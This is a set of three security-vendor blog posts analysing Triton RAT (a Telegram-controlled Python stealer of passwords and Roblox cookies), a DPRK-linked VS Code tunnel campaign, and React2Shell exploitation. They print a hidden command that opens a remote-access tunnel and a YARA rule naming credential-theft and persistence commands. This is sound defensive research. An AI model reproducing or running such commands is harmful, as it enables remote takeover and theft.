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March 27, 2025

Python-based Triton RAT Targeting Roblox Credentials

Cado Security Labs (now part of Darktrace) identified Triton RAT, a Python-based open-source tool controlled via Telegram.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead
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27
Mar 2025

Introduction

Researchers from Cado Security Labs (now part of Darktrace) have identified a Python Remote Access Tool (RAT) named Triton RAT. The open-source RAT is available on GitHub and allows users to remotely access and control a system using Telegram. 

Technical analysis

In the version of the Triton RAT Pastebin. 

Telegram token and chat ID encoded in Base64
Figure 1: Telegram token and chat ID encoded in Base64

Features of Triton RAT:

  • Keylogging
  • Remote commands
  • Steal saved passwords
  • Steal Roblox security cookies
  • Change wallpaper
  • Screen recording
  • Webcam access
  • Gather Wifi Information
  • Download/upload file
  • Execute shell commands
  • Steal clipboard data
  • Anti-Analysis
  • Gather system information
  • Data exfiltrated to Telegram Bot

The TritonRAT code contains many functions including the function “sendmessage” which iterates over password stores in AppData, Google, Chrome, User Data, Local, and Local State, decrypts them and saves the passwords in a text file. Additionally, the RAT searches for Roblox security cookies (.ROBLOSECURITY) in Opera, Chrome, Edge, Chromium, Firefox and Brave, if found the cookies are stored in a text file and exfiltrated. A Roblox security cookie is a browser cookie that stores the users’ session and can be used to gain access to the Roblox account bypassing 2FA. 

Function to search for and exfiltrate Roblox security cookies
Figure 2: Function used to search for and exfiltrate Roblox security cookies
Function that gathers and exfiltrates system information 
Figure 3: Function that gathers and exfiltrates system information 
Secondary payload retrieved from DropBox 
Figure 4: Secondary payload retrieved from DropBox 

The Python script also contains code to create a VBScript and a BAT script which are executed with Powershell. The VBScript “updateagent.vbs” disables Windows Defender, creates backups and scheduled tasks for persistence and monitors specified processes. The BAT script “check.bat” retrieves a binary named “ProtonDrive.exe” from DropBox, stores it in a hidden folder and executes it with admin privileges. ProtonDrive is a pyinstaller compiled version of TritonRAT. Presumably the binary is retrieved to set up persistence. Once retrieved, ProtonDrive is stored in a created folder structure “C:\Users\user\AppData\Local\Programs\Proton\Drive”. Three scheduled tasks are created to start on logon of any user.

Tasks created
Figure 5: Three tasks created to start on logon of any user

For anti-analysis, Triton RAT contains a function that checks for “blacklisted” processes which include popular tools such as xdbg, ollydbg, FakeNet, and antivirus products. Additionally, the same Git user offers a file resizer as defense evasion as some anti-virus will not check a file over a certain amount of MB.  All the exfiltrated data is sent to Telegram via a Telegram bot, where the user can send commands to the affected machine. At the time of analysis, the Telegram channel/bot had 4549 messages, although it is unknown if these are indicative of the number of infections.  

Conclusion

The emergence of the Python-based Triton RAT highlights how quickly cybercriminals are evolving their tactics to target platforms with large user bases like Roblox. Its persistence mechanisms and reliance on Telegram for data exfiltration make it both resilient and easy for attackers to operate at scale. As threats like this continue to surface, it’s critical for organizations and individuals to reinforce endpoint protection, and promote strong credential security practices to reduce exposure to such attacks.

Indicators of compromise (IoCs)

ProtonDrive.exe

Ea04f1c4016383e0846aba71ac0b0c9c

Related samples:

076dccb222d0869870444fea760c7f2b564481faea80604c02abf74f1963c265

0975fdadbbd60d90afdcb5cc59ad58a22bfdb2c2b00a5da6bb1e09ae702b95e7

1f4e1aa937e81e517bccc3bd8a981553a2ef134c11471195f88f3799720eaa9c

200fdb4f94f93ec042a16a409df383afeedbbc73282ef3c30a91d5f521481f24

29d2a70eeedbe496515c71640771f1f9b71c4af5f5698e2068c6adcac28cc3e0

2b05494926b4b1c79ee0a12a4e7f6c07e04c084a953a4ba980ed7cb9b8bf6bc2

2d1b6bd0b945ddd8261efbd85851656a7351fd892be0fa62cc3346883a8f917e

2dce8fc1584e660a0cba4db2cacdf5ff705b1b3ba75611de0900ebaeaa420bf9

2f27b8987638b813285595762fa3e56fff2213086e9ba4439942cd470fa5669a

3f9ce4d12e0303faa59a307bcfc4366d02ba73e423dbf5bcf1da5178253db64d

4309e6a9abdfedc914df3393110a68bd4acfe922e9cd9f5f24abf23df7022af7

48231f2cf5bda35634fca2f98dc6e8581e8a65a2819d62bc375376fcd501ba2d

49b2ca4c1bd4405aa724ffaef266395be4b4581f1ff38b1fc092eab71e1adb6a

4b32dbd7a6ca7f91e75bacf055f4132be0952385d4d4fcbaf0970913876d64a1

566fc3f32633ce0b9a7154102bc1620a906473d5944dca8dea122cb63cb1bcaa

59793de10ed2d3684d0206f5f69cbebbba61d1f90a79dbd720d26bbf54226695

61a2c53390498716494ffa0b586aa6dc6c67baf03855845e2e3f2539f1f56563

6707ba64cccab61d3a658b23b28b232b1f601e3608b7d9e4767a1c0751bccd05

71fabe5022f613dc8e06d6dfda1327989e67be4e291f3761e84e3a988751caf8

78573a4c23f6ccdcbfce3a467fa93d2a1a49cf2f8dc7b595c0185e16b84828cb

78b246cbd9b1106d01659dd0ab65dc367486855b6b37869673bd98c560b6ff52

7bfdbceded56029bc32d89249e0195ebf47309fecded2b6578b035c52c43460b

7cb501e819fc98a55b9d19ad0f325084f6c4753785e30479502457ac7cb6289c

7fa70e18c414ae523e84c4a01d73e49f86ab816d129e8d7001fb778531adf3a7

8bc29a873b6144b6384a5535df5fc762c0c65e47a2caf0e845382c72f9d6671f

8c1db376bafcd071ffb59130d58ffcde45b2fa8e79dcc44c0a14574b9de55b43

a99ebd095d2ccda69855f2c700048658b8e425c90c916d5880f91c8aba634a2e

b656b7189925b043770a9738d8ae003d7401ac65a58e78c643937f4b44a3bc2c

b8dc2c5921f668f6cf8a355fd1cb79020b6752330be5e0db4bf96ae904d76249

b90af78927c6cb2d767f777d36031c9160aeb6fcd30090c3db3735b71274eb4e

bc1e211206c69fe399505e18380fb0068356d205c7929e2cb3d2fe0b4107d4e0

bf3c84a955f49c02a7f4fbf94dbbf089f26137fc75f5b36ac0b1bace9373d17a

c11d186e6d1600212565786ed481fbe401af598e1f689cf1ce6ff83b5a3b4371

cd42ae47c330c68cc8fd94cf5d91992f55992292b186991605b262ba1f776e8e

e1e2587ae2170d9c4533a6267f9179dff67d03f7adbb6d1fb4f43468d8f42c24

f389a8cbb88dae49559eaa572fc9288c253ed1825b1ce2a61e3d8ae998625e18

fc55895bb7d08e6ab770a05e55a037b533de809196f3019fbff0f1f58e688e5f

MITRE ATT&CK

T1053.005 Scheduled Task/Job: Scheduled Task

T1059.006 Command and Scripting Interpreter: Python

T1082 System Information Discovery

T1016 System Network Configuration Discovery

T1105 Ingress Tool Transfer

T1562.001 Impair Defenses: Disable or Modify Tools

T1132 Data Encoding

T1021 Remote Services

T1056.001 Input Capture: Keylogging

T1555 Credentials from Password Stores

T1539 Steal Web Session Cookie

T1546.015 Event Triggered Execution: Screensaver

T1113 Screen Capture

T1125 Video Capture

T1016 System Network Configuration Discovery

T1105 Ingress Tool Transfer

T1059 Command and Scripting Interpreter

T1115 Clipboard Data

T1497 Virtualization/Sandbox Evasion

T1020 Automated Exfiltration

YARA rule

rule Triton_RAT { 
   meta: 
       description = "Detects Python-based Triton RAT" 
       author = "tgould@cadosecurity.com" 
       date = "2025-03-06" 
   strings: 
       $telegram = "telebot.TeleBot" ascii 
       $extract_data = "def extract_data" ascii 
       $bot_token = "bot_token" ascii 
       $chat_id = "chat_id" ascii 
       $keylogger = "/keylogger" ascii 
       $stop_keylogger = "/stopkeylogger" ascii 
       $passwords = "/passwords" ascii 
       $clipboard = "/clipboard" ascii 
       $roblox_cookie = "/robloxcookie" ascii 
       $wifi_pass = "/wifipass" ascii 
       $sys_commands = "/(shutdown|restart|sleep|altf4|tasklist|taskkill|screenshot|mic|wallpaper|block|unblock)" ascii 
       $win_cmds = /(taskkill \/f \/im|wmic|schtasks \/create|attrib \+h|powershell\.exe -Command|reg add|netsh wlan show profile|net user|whoami|curl ipinfo\.io)/ ascii 
       $startup = "/addstartup" ascii 
       $winblocker = "/winblocker" ascii 
       $startup_scripts = /(C:\\Windows\\System32\\updateagent\.vbs|check\.bat|watchdog\.vbs)/ ascii 
   condition: 
       any of ($telegram, $extract_data, $bot_token, $chat_id) and 
       4 of ($keylogger, $stop_keylogger, $passwords, $clipboard, $roblox_cookie, $wifi_pass, 
             $sys_commands, $win_cmds, $startup, $winblocker, $startup_scripts) 
} 
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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